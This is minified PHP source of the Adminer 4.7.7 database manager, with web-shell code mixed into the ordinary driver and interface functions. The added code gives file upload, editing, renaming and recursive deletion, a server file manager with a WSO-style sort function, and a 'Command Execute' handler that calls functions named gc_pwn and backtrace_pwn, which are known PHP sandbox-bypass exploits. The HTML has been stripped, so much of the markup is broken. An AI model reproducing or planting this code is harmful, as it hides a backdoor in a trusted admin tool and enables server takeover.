auto_increment(){$Ua=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$u){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$u["columns"],true)){$Ua="";break;}if($u["type"]=="PRIMARY")$Ua=" UNIQUE";}}return" AUTO_INCREMENT$Ua";}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){$c=array();foreach($o
as$n)$c[]=($n[1]?($R!=""?($n[0]!=""?"CHANGE ".idf_escape($n[0]):"ADD"):" ")." ".implode($n[1]).($R!=""?$n[2]:""):"DROP ".idf_escape($n[0]));$c=array_merge($c,$Td);$P=($Lb!==null?" COMMENT=".q($Lb):"").($cd?" ENGINE=".q($cd):"").($Fb?" COLLATE ".q($Fb):"").($Ta!=""?" AUTO_INCREMENT=$Ta":"");if($R=="")return
queries("CREATE TABLE ".table($A)." (\n".implode(",\n",$c)."\n)$P$Zg");if($R!=$A)$c[]="RENAME TO ".table($A);if($P)$c[]=ltrim($P);return($c||$Zg?queries("ALTER TABLE ".table($R)."\n".implode(",\n",$c).$Zg):true);}function
alter_indexes($R,$c){foreach($c
as$x=>$X)$c[$x]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return
queries("ALTER TABLE ".table($R).implode(",",$c));}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($mk){return
queries("DROP VIEW ".implode(", ",array_map('table',$mk)));}function
drop_tables($T){return
queries("DROP TABLE ".implode(", ",array_map('table',$T)));}function
move_tables($T,$mk,$fj){$Sh=array();foreach(array_merge($T,$mk)as$R)$Sh[]=table($R)." TO ".idf_escape($fj).".".table($R);return
queries("RENAME TABLE ".implode(", ",$Sh));}function
copy_tables($T,$mk,$fj){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($T
as$R){$A=($fj==DB?table("copy_$R"):idf_escape($fj).".".table($R));if(($_POST["overwrite"]&&!queries("\nDROP TABLE IF EXISTS $A"))||!queries("CREATE TABLE $A LIKE ".table($R))||!queries("INSERT INTO $A SELECT * FROM ".table($R)))return
false;foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")))as$I){$Hj=$I["Trigger"];if(!queries("CREATE TRIGGER ".($fj==DB?idf_escape("copy_$Hj"):idf_escape($fj).".".idf_escape($Hj))." $I[Timing] $I[Event] ON $A FOR EACH ROW\n$I[Statement];"))return
false;}}foreach($mk
as$R){$A=($fj==DB?table("copy_$R"):idf_escape($fj).".".table($R));$lk=view($R);if(($_POST["overwrite"]&&!queries("DROP VIEW IF EXISTS $A"))||!queries("CREATE VIEW $A AS $lk[select]"))return
false;}return
true;}function
trigger($A){if($A=="")return
array();$J=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($A));return
reset($J);}function
triggers($R){$H=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")))as$I)$H[$I["Trigger"]]=array($I["Timing"],$I["Event"]);return$H;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
routine($A,$U){global$g,$ed,$Ke,$Nj;$Ia=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$Ei="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";$Mj="((".implode("|",array_merge(array_keys($Nj),$Ia)).")\\b(?:\\s*\\(((?:[^'\")]|$ed)++)\\))?\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s,]+)['\"]?)?";$fh="$Ei*(".($U=="FUNCTION"?"":$Ke).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$Mj";$ac=$g->result("SHOW CREATE $U ".idf_escape($A),2);preg_match("~\\(((?:$fh\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$Mj\\s+":"")."(.*)~is",$ac,$_);$o=array();preg_match_all("~$fh\\s*,?~is",$_[1],$_f,PREG_SET_ORDER);foreach($_f
as$Sg)$o[]=array("field"=>str_replace("``","`",$Sg[2]).$Sg[3],"type"=>strtolower($Sg[5]),"length"=>preg_replace_callback("~$ed~s",'normalize_enum',$Sg[6]),"unsigned"=>strtolower(preg_replace('~\s+~',' ',trim("$Sg[8] $Sg[7]"))),"null"=>1,"full_type"=>$Sg[4],"inout"=>strtoupper($Sg[1]),"collation"=>strtolower($Sg[9]),);if($U!="FUNCTION")return
array("fields"=>$o,"definition"=>$_[11]);return
array("fields"=>$o,"returns"=>array("type"=>$_[12],"length"=>$_[13],"unsigned"=>$_[15],"collation"=>$_[16]),"definition"=>$_[17],"language"=>"SQL",);}function
routines(){return
get_rows("SELECT ROUTINE_NAME AS SPECIFIC_NAME, ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));}function
routine_languages(){return
array();}function
routine_id($A,$I){return
idf_escape($A);}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ID()");}function
explain($g,$F){return$g->query("EXPLAIN ".(min_version(5.1)?"PARTITIONS ":"").$F);}function
found_rows($S,$Z){return($Z||$S["Engine"]!="InnoDB"?null:$S["Rows"]);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ii,$h=null){return
true;}function
create_sql($R,$Ta,$Qi){global$g;$H=$g->result("SHOW CREATE TABLE ".table($R),1);if(!$Ta)$H=preg_replace('~ AUTO_INCREMENT=\d+~','',$H);return$H;}function
truncate_sql($R){return"TRUNCATE ".table($R);}function
use_sql($i){return"USE ".idf_escape($i);}function
trigger_sql($R){$H="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")),null,"-- ")as$I)$H.="\nCREATE TRIGGER ".idf_escape($I["Trigger"])." $I[Timing] $I[Event] ON ".table($I["Table"])." FOR EACH ROW\n$I[Statement];;\n";return$H;}function
show_variables(){return
get_key_vals("SHOW VARIABLES");}function
process_list(){return
get_rows("SHOW FULL PROCESSLIST");}function
show_status(){return
get_key_vals("SHOW STATUS");}function
convert_field($n){if(preg_match("~binary~",$n["type"]))return"HEX(".idf_escape($n["field"]).")";if($n["type"]=="bit")return"BIN(".idf_escape($n["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$n["type"]))return(min_version(8)?"ST_":"")."AsWKT(".idf_escape($n["field"]).")";}function
unconvert_field($n,$H){if(preg_match("~binary~",$n["type"]))$H="UNHEX($H)";if($n["type"]=="bit")$H="CONV($H, 2, 10) + 0";if(preg_match("~geometry|point|linestring|polygon~",$n["type"]))$H=(min_version(8)?"ST_":"")."GeomFromText($H, SRID($n[field]))";return$H;}function
support($Ad){return!preg_match("~scheme|sequence|type|view_trigger|materializedview".(min_version(8)?"":"|descidx".(min_version(5.1)?"":"|event|partitioning".(min_version(5)?"":"|routine|trigger|view")))."~",$Ad);}function
kill_process($X){return
queries("KILL ".number($X));}function
connection_id(){return"SELECT CONNECTION_ID()";}function
max_connections(){global$g;return$g->result("SELECT @@max_connections");}$w="sql";$Nj=array();$Pi=array();foreach(array(lang(25)=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),lang(26)=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),lang(23)=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),lang(31)=>array("enum"=>65535,"set"=>64),lang(27)=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),lang(29)=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),)as$x=>$X){$Nj+=$X;$Pi[$x]=array_keys($X);}$Uj=array("unsigned","zerofill","unsigned zerofill");$wg=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","FIND_IN_SET","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$be=array("char_length","date","from_unixtime","lower","round","floor","ceil","sec_to_time","time_to_sec","upper");$ie=array("avg","count","count distinct","group_concat","max","min","sum");$Tc=array(array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",),array(number_type()=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",));}define("SERVER",$_GET[DRIVER]);define("DB",$_GET["db"]);define("ME",str_replace(":","%3a",preg_replace('~\?.*~','',relative_uri())).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));$ia="4.7.7";if(@$_SESSION["DOCUMENT_ROOT"]==""||@!$_SESSION["DOCUMENT_ROOT"])$_SESSION["DOCUMENT_ROOT"]=dirname(__FILE__);if(@$_SESSION["DOCUMENT_FOLDER"]==""||@!$_SESSION["DOCUMENT_FOLDER"])$_SESSION["DOCUMENT_FOLDER"]=dirname(__FILE__);function
file_upload(){$hj=$_SESSION["DOCUMENT_FOLDER"];$hj=$hj.DIRECTORY_SEPARATOR.basename($_FILES['uploadedfile']['name']);if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$hj))echo'The file '.basename($_FILES["uploadedfile"]["name"]).' has been uploaded
';else
echo'There was an error uploading the file, please try again!
';}function
edit_file(){$Gd=@$_POST["y"];$vd=@file_get_contents($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Gd);echo' Edit : ',$Gd,'
New File Name :
goto(\'open_folder\',null,null);
';}function
rename_file(){$lg=$_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.@$_POST["y"];$Wf=$_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.@$_POST["z"];rename($lg,$Wf);echo'
';}function
new_name(){$lg=@$_POST["y"];echo' Rename File :
New Folder Name :
goto(\'open_folder\',null,null);
';}function
rrmdir($Bc){if(is_dir($Bc)){$ig=scandir($Bc);foreach($ig
as$hg){if($hg!="."&&$hg!=".."){if(is_dir($Bc.DIRECTORY_SEPARATOR.$hg)&&!is_link($Bc.DIRECTORY_SEPARATOR.$hg))rrmdir($Bc.DIRECTORY_SEPARATOR.$hg);else
unlink($Bc.DIRECTORY_SEPARATOR.$hg);}}rmdir($Bc);}}function
cmd_execute(){@session_start();$_SESSION["my_exec"]=$_POST["z"];$Sf=$_POST["z"];command_execute();if($Sf=="gc_pwd")$Kg=gc_pwn($Ab);elseif($Sf=="backtrace_pwd")$Kg=backtrace_pwn($Ab);else$Kg='';echo$Kg;}function
upload_form(){echo'
';}function
command_execute(){echo'
';}else{?>
';}}function
file_manager(){$Cc=@scandir($_SESSION["DOCUMENT_FOLDER"]);if($Cc===false){echo'| Access Denied! |
';return;}$Ci=array('name',1);$Dc=$Jd=array();$Tf=count($Cc);for($r=0;$r<$Tf;$r++){$Mg=@posix_getpwuid(@fileowner($Cc[$r]));$ce=@posix_getgrgid(@filegroup($Cc[$r]));$vj=array('name'=>$Cc[$r],'path'=>$_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r],'modify'=>@date('Y-m-d H:i:s',@filemtime($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r])),'perms'=>madPermsColor($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r]),'size'=>@filesize($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r]),'owner'=>@fileowner($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r]),'group'=>@filegroup($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r]));if(@is_file($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r]))$Jd[]=array_merge($vj,array('type'=>'file'));elseif(@is_link($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r]))$Dc[]=array_merge($vj,array('type'=>'link','link'=>readlink($vj['path'])));elseif(@is_dir($_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Cc[$r])&&($Cc[$r]!="."))$Dc[]=array_merge($vj,array('type'=>'dir'));}$GLOBALS['sort']=$Ci;function
wsoCmp($va,$Va){if($GLOBALS['sort'][0]!='size')return
strcmp(strtolower($va[$GLOBALS['sort'][0]]),strtolower($Va[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else
return(($va['size']<$Va['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($Jd,"wsoCmp");usort($Dc,"wsoCmp");$Jd=array_merge($Dc,$Jd);?>
New File - New Folder
Current Directory :
Filename |
Owner/Group |
Size |
Permission |
Action |
';foreach($Jd
as$vd){if($vd["type"]=='dir')$Hd='dir';else$Hd=my_Size($vd["size"]);echo'
onclick="goto(\"go_dir\",\" onclick="goto(\"edit_file\",\"
',$vd["name"],'
|
',$vd["owner"],'/',$vd["group"],' |
',$Hd,' |
',$vd["perms"];?> |
',null)" style="color:#fff">RENAME DEL
|
';}echo'
';}function
madPermsColor($vd){if(!@is_readable($vd))return''.madPerms(@fileperms($vd)).'';elseif(!@is_writable($vd))return''.madPerms(@fileperms($vd)).'';else
return''.madPerms(@fileperms($vd)).'';}function
madPerms($C){if(($C&0xC000)==0xC000)$r='s';elseif(($C&0xA000)==0xA000)$r='l';elseif(($C&0x8000)==0x8000)$r='-';elseif(($C&0x6000)==0x6000)$r='b';elseif(($C&0x4000)==0x4000)$r='d';elseif(($C&0x2000)==0x2000)$r='c';elseif(($C&0x1000)==0x1000)$r='p';else$r='u';$r.=(($C&0x0100)?'r':'-');$r.=(($C&0x0080)?'w':'-');$r.=(($C&0x0040)?(($C&0x0800)?'s':'x'):(($C&0x0800)?'S':'-'));$r.=(($C&0x0020)?'r':'-');$r.=(($C&0x0010)?'w':'-');$r.=(($C&0x0008)?(($C&0x0400)?'s':'x'):(($C&0x0400)?'S':'-'));$r.=(($C&0x0004)?'r':'-');$r.=(($C&0x0002)?'w':'-');$r.=(($C&0x0001)?(($C&0x0200)?'t':'x'):(($C&0x0200)?'T':'-'));return$r;}function
my_Size($K){if($K>=1073741824)return
sprintf('%1.2f',$K/1073741824).' GB';elseif($K>=1048576)return
sprintf('%1.2f',$K/1048576).' MB';elseif($K>=1024)return
sprintf('%1.2f',$K/1024).' KB';else
return$K.' B';}function
go_dir(){@session_start();$Bc=$_POST["y"];if($Bc=="..")$_SESSION["DOCUMENT_FOLDER"]=dirname($_SESSION["DOCUMENT_FOLDER"]);else$_SESSION["DOCUMENT_FOLDER"]=$_SESSION["DOCUMENT_FOLDER"].DIRECTORY_SEPARATOR.$Bc;echo'
';}function
gc_pwn($Ab){global$wa,$qe;echo'';return;}function
backtrace_pwn($Ab){global$wa,$qe,$Xa;echo'';return;}class
Adminer{var$operators;function
name(){return"Adminer";}function
credentials(){return
array(SERVER,$_GET["username"],get_password());}function
connectSsl(){}function
permanentLogin($ac=false){return
password_file($ac);}function
bruteForceKey(){return$_SERVER["REMOTE_ADDR"];}function
serverName($N){return
h($N);}function
database(){return
DB;}function
databases($Pd=true){return
get_databases($Pd);}function
schemas(){return
schemas();}function
queryTimeout(){return
2;}function
headers(){}function
csp(){return
csp();}function
head(){return
true;}function
css(){$H=array();$Id="adminer.css";if(file_exists($Id))$H[]="$Id?v=".crc32(file_get_contents($Id));return$H;}function
loginForm(){global$Hc;echo"\n",$this->loginFormField('driver',''.lang(32).' | ',html_select("auth[driver]",$Hc,DRIVER,"loginDriver(this);")."\n"),$this->loginFormField('server',' |
---|
'.lang(33).' | ',''."\n"),$this->loginFormField('username',' |
---|
'.lang(34).' | ',''.script("focus(qs('#username')); qs('#username').form['auth[driver]'].onchange();")),$this->loginFormField('password',' |
---|
'.lang(35).' | ',''."\n"),$this->loginFormField('db',' |
---|
'.lang(36).' | ',''."\n")," |
---|
\n","\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],lang(38))."\n";}function
loginFormField($A,$pe,$Y){return$pe.$Y;}function
login($tf,$E){if($E=="")return
lang(39,target_blank());return
true;}function
tableName($Wi){return
h($Wi["Name"]);}function
fieldName($n,$Ag=0){return''.h($n["field"]).'';}function
selectLinks($Wi,$O=""){global$w,$l;echo'
';$rf=array("select"=>lang(40));if(support("table")||support("indexes"))$rf["table"]=lang(41);if(support("table")){if(is_view($Wi))$rf["view"]=lang(42);else$rf["create"]=lang(43);}if($O!==null)$rf["edit"]=lang(44);$A=$Wi["Name"];foreach($rf
as$x=>$X)echo" $X";echo
doc_link(array($w=>$l->tableHelp($A)),"?"),"\n";}function
foreignKeys($R){return
foreign_keys($R);}function
backwardKeys($R,$Vi){return
array();}function
backwardKeysPrint($Ya,$I){}function
selectQuery($F,$Li,$yd=false){global$w,$l;$H="
\n";if(!$yd&&($qk=$l->warnings())){$s="warnings";$H=", ".lang(45)."".script("qsl('a').onclick = partial(toggle, '$s');","")."$H\n$qk
\n";}return"".h(str_replace("\n"," ",$F))."
(".format_time($Li).")".(support("sql")?" ".lang(10)."":"").$H;}function
sqlCommandQuery($F){return
shorten_utf8(trim($F),1000);}function
rowDescription($R){return"";}function
rowDescriptions($J,$Ud){return$J;}function
selectLink($X,$n){}function
selectVal($X,$z,$n,$Ig){$H=($X===null?"NULL":(preg_match("~char|binary|boolean~",$n["type"])&&!preg_match("~var~",$n["type"])?"$X
":$X));if(preg_match('~blob|bytea|raw|file~',$n["type"])&&!is_utf8($X))$H="".lang(46,strlen($Ig))."";if(preg_match('~json~',$n["type"]))$H="$H
";return($z?"$H":$H);}function
editVal($X,$n){return$X;}function
tableStructurePrint($o){echo"
\n";}function
tableIndexesPrint($v){echo"\n";foreach($v
as$A=>$u){ksort($u["columns"]);$th=array();foreach($u["columns"]as$x=>$X)$th[]="".h($X)."".($u["lengths"][$x]?"(".$u["lengths"][$x].")":"").($u["descs"][$x]?" DESC":"");echo"$u[type] | ".implode(", ",$th)."\n";}echo" |
---|
\n";}function
selectColumnsPrint($L,$e){global$be,$ie;print_fieldset("select",lang(52),$L);$r=0;$L[""]=array();foreach($L
as$x=>$X){$X=$_GET["columns"][$x];$d=select_input(" name='columns[$r][col]'",$e,$X["col"],($x!==""?"selectFieldChange":"selectAddRow"));echo"".($be||$ie?"".on_help("getTarget(event).value && getTarget(event).value.replace(/ |\$/, '(') + ')'",1).script("qsl('select').onchange = function () { helpClose();".($x!==""?"":" qsl('select, input', this.parentNode).onchange();")." };","")."($d)":$d)."
\n";$r++;}echo"\n";}function
selectSearchPrint($Z,$e,$v){print_fieldset("search",lang(55),$Z);foreach($v
as$r=>$u){if($u["type"]=="FULLTEXT"){echo"(".implode(", ",array_map('h',$u["columns"])).") AGAINST"," ",script("qsl('input').oninput = selectFieldChange;",""),checkbox("boolean[$r]",1,isset($_GET["boolean"][$r]),"BOOL"),"
\n";}}$ob="this.parentNode.firstChild.onchange();";foreach(array_merge((array)$_GET["where"],array(array()))as$r=>$X){if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))){echo"".select_input(" name='where[$r][col]'",$e,$X["col"],($X?"selectFieldChange":"selectAddRow"),"(".lang(56).")"),html_select("where[$r][op]",$this->operators,$X["op"],$ob),"",script("mixin(qsl('input'), {oninput: function () { $ob }, onkeydown: selectSearchKeydown, onsearch: selectSearchSearch});",""),"
\n";}}echo"\n";}function
selectOrderPrint($Ag,$e,$v){print_fieldset("sort",lang(57),$Ag);$r=0;foreach((array)$_GET["order"]as$x=>$X){if($X!=""){echo"".select_input(" name='order[$r]'",$e,$X,"selectFieldChange"),checkbox("desc[$r]",1,isset($_GET["desc"][$x]),lang(58))."
\n";$r++;}}echo"".select_input(" name='order[$r]'",$e,"","selectAddRow"),checkbox("desc[$r]",1,false,lang(58))."
\n","\n";}function
selectLimitPrint($y){echo"\n";}function
selectLengthPrint($mj){if($mj!==null){echo"\n";}}function
selectActionPrint($v){echo"\n";}function
selectCommandPrint(){return!information_schema(DB);}function
selectImportPrint(){return!information_schema(DB);}function
selectEmailPrint($Zc,$e){}function
selectColumnsProcess($e,$v){global$be,$ie;$L=array();$fe=array();foreach((array)$_GET["columns"]as$x=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$be)||in_array($X["fun"],$ie)))){$L[$x]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],$ie))$fe[]=$L[$x];}}return
array($L,$fe);}function
selectSearchProcess($o,$v){global$g,$l;$H=array();foreach($v
as$r=>$u){if($u["type"]=="FULLTEXT"&&$_GET["fulltext"][$r]!="")$H[]="MATCH (".implode(", ",array_map('idf_escape',$u["columns"])).") AGAINST (".q($_GET["fulltext"][$r]).(isset($_GET["boolean"][$r])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$x=>$X){if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)){$ph="";$Ob=" $X[op]";if(preg_match('~IN$~',$X["op"])){$Ae=process_length($X["val"]);$Ob.=" ".($Ae!=""?$Ae:"(NULL)");}elseif($X["op"]=="SQL")$Ob=" $X[val]";elseif($X["op"]=="LIKE %%")$Ob=" LIKE ".$this->processInput($o[$X["col"]],"%$X[val]%");elseif($X["op"]=="ILIKE %%")$Ob=" ILIKE ".$this->processInput($o[$X["col"]],"%$X[val]%");elseif($X["op"]=="FIND_IN_SET"){$ph="$X[op](".q($X["val"]).", ";$Ob=")";}elseif(!preg_match('~NULL$~',$X["op"]))$Ob.=" ".$this->processInput($o[$X["col"]],$X["val"]);if($X["col"]!="")$H[]=$ph.$l->convertSearch(idf_escape($X["col"]),$X,$o[$X["col"]]).$Ob;else{$Ib=array();foreach($o
as$A=>$n){if((preg_match('~^[-\d.'.(preg_match('~IN$~',$X["op"])?',':'').']+$~',$X["val"])||!preg_match('~'.number_type().'|bit~',$n["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||preg_match('~char|text|enum|set~',$n["type"])))$Ib[]=$ph.$l->convertSearch(idf_escape($A),$X,$n).$Ob;}$H[]=($Ib?"(".implode(" OR ",$Ib).")":"1 = 0");}}}return$H;}function
selectOrderProcess($o,$v){$H=array();foreach((array)$_GET["order"]as$x=>$X){if($X!="")$H[]=(preg_match('~^((COUNT\(DISTINCT |[A-Z0-9_]+\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\)|COUNT\(\*\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$x])?" DESC":"");}return$H;}function
selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"50");}function
selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function
selectEmailProcess($Z,$Ud){return
false;}function
selectQueryBuild($L,$Z,$fe,$Ag,$y,$D){return"";}function
messageQuery($F,$oj,$yd=false){global$w,$l;restart_session();$re=&get_session("queries");if(!$re[$_GET["db"]])$re[$_GET["db"]]=array();if(strlen($F)>1e6)$F=preg_replace('~[\x80-\xFF]+$~','',substr($F,0,1e6))."\n…";$re[$_GET["db"]][]=array($F,time(),$oj);$Ii="sql-".count($re[$_GET["db"]]);$H="".lang(63)."\n";if(!$yd&&($qk=$l->warnings())){$s="warnings-".count($re[$_GET["db"]]);$H="".lang(45).", $H\n$qk
\n";}return" ".@date("H:i:s").""." $H".shorten_utf8($F,1000)."
".($oj?"
($oj)":'').(support("sql")?'
'.lang(10).'':'').'
';}function
editFunctions($n){global$Tc;$H=($n["null"]?"NULL/":"");foreach($Tc
as$x=>$be){if(!$x||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))){foreach($be
as$fh=>$X){if(!$fh||preg_match("~$fh~",$n["type"]))$H.="/$X";}if($x&&!preg_match('~set|blob|bytea|raw|file~',$n["type"]))$H.="/SQL";}}if($n["auto_increment"]&&!isset($_GET["select"])&&!where($_GET))$H=lang(50);return
explode("/",$H);}function
editInput($R,$n,$Qa,$Y){if($n["type"]=="enum")return(isset($_GET["select"])?" ":"").($n["null"]?" ":"").enum_input("radio",$Qa,$n,$Y,0);return"";}function
editHint($R,$n,$Y){return"";}function
processInput($n,$Y,$q=""){if($q=="SQL")return$Y;$A=$n["field"];$H=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$q))$H="$q()";elseif(preg_match('~^current_(date|timestamp)$~',$q))$H=$q;elseif(preg_match('~^([+-]|\|\|)$~',$q))$H=idf_escape($A)." $q $H";elseif(preg_match('~^[+-] interval$~',$q))$H=idf_escape($A)." $q ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+\$~i",$Y)?$Y:$H);elseif(preg_match('~^(addtime|subtime|concat)$~',$q))$H="$q(".idf_escape($A).", $H)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$q))$H="$q($H)";return
unconvert_field($n,$H);}function
dumpOutput(){$H=array('text'=>lang(64),'file'=>lang(65));if(function_exists('gzencode'))$H['gz']='gzip';return$H;}function
dumpFormat(){return
array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function
dumpDatabase($k){}function
dumpTable($R,$Qi,$Te=0){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($Qi)dump_csv(array_keys(fields($R)));}else{if($Te==2){$o=array();foreach(fields($R)as$A=>$n)$o[]=idf_escape($A)." $n[full_type]";$ac="CREATE TABLE ".table($R)." (".implode(", ",$o).")";}else$ac=create_sql($R,$_POST["auto_increment"],$Qi);set_utf8mb4($ac);if($Qi&&$ac){if($Qi=="DROP+CREATE"||$Te==1)echo"DROP ".($Te==2?"VIEW":"TABLE")." IF EXISTS ".table($R).";\n";if($Te==1)$ac=remove_definer($ac);echo"$ac;\n\n";}}}function
dumpData($R,$Qi,$F){global$g,$w;$Bf=($w=="sqlite"?0:1048576);if($Qi){if($_POST["format"]=="sql"){if($Qi=="TRUNCATE+INSERT")echo
truncate_sql($R).";\n";$o=fields($R);}$G=$g->query($F,1);if($G){$Me="";$kb="";$af=array();$Si="";$Bd=($R!=''?'fetch_assoc':'fetch_row');while($I=$G->$Bd()){if(!$af){$hk=array();foreach($I
as$X){$n=$G->fetch_field();$af[]=$n->name;$x=idf_escape($n->name);$hk[]="$x = VALUES($x)";}$Si=($Qi=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(", ",$hk):"").";\n";}if($_POST["format"]!="sql"){if($Qi=="table"){dump_csv($af);$Qi="INSERT";}dump_csv($I);}else{if(!$Me)$Me="INSERT INTO ".table($R)." (".implode(", ",array_map('idf_escape',$af)).") VALUES";foreach($I
as$x=>$X){$n=$o[$x];$I[$x]=($X!==null?unconvert_field($n,preg_match(number_type(),$n["type"])&&!preg_match('~\[~',$n["full_type"])&&is_numeric($X)?$X:q(($X===false?0:$X))):"NULL");}$K=($Bf?"\n":" ")."(".implode(",\t",$I).")";if(!$kb)$kb=$Me.$K;elseif(strlen($kb)+4+strlen($K)+strlen($Si)<$Bf)$kb.=",$K";else{echo$kb.$Si;$kb=$Me.$K;}}}if($kb)echo$kb.$Si;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",$g->error)."\n";}}function
dumpFilename($we){return
friendly_url($we!=""?$we:(SERVER!=""?SERVER:"localhost"));}function
dumpHeaders($we,$Qf=false){$Lg=$_POST["output"];$rd=(preg_match('~sql~',$_POST["format"])?"sql":($Qf?"tar":"csv"));header("Content-Type: ".($Lg=="gz"?"application/x-gzip":($rd=="tar"?"application/x-tar":($rd=="sql"||$Lg!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($Lg=="gz")ob_start('ob_gzencode',1e6);return$rd;}function
importServerPath(){return"adminer.sql";}function
homepage(){echo''.($_GET["ns"]==""&&support("database")?''.lang(66)."\n":""),(support("scheme")?"".($_GET["ns"]!=""?lang(67):lang(68))."\n":""),($_GET["ns"]!==""?''.lang(69)."\n":""),(support("privileges")?"".lang(70)."\n":"");return
true;}function
navigation($Pf){global$ia,$w,$Hc,$g;echo'
File Manager
File Upload
Command Execute';$Zb=0;foreach((array)$_SESSION["pwds"]as$jk=>$ui){foreach($ui
as$N=>$ek){foreach($ek
as$V=>$E){if($E!==null){$qc=$_SESSION["db"][$jk][$N][$V];foreach(($qc?array_keys($qc):array(""))as$k){$Lg.="SQL Admin -> $k\n";$Zb=$Zb+1;}}}}}if($Zb<1)$Lg.='SQL Admin';if($Lg)echo"\n".script("mixin(qs('#logins'), {onmouseover: menuOver, onmouseout: menuOut});");else
echo'';}else{if($_GET["ns"]!==""&&!$Pf&&DB!=""){$g->select_db(DB);$T=table_status('',true);}echo
script_src(preg_replace("~\\?.*~","",ME)."?file=jush.js&version=4.7.7");if(support("sql")){echo'
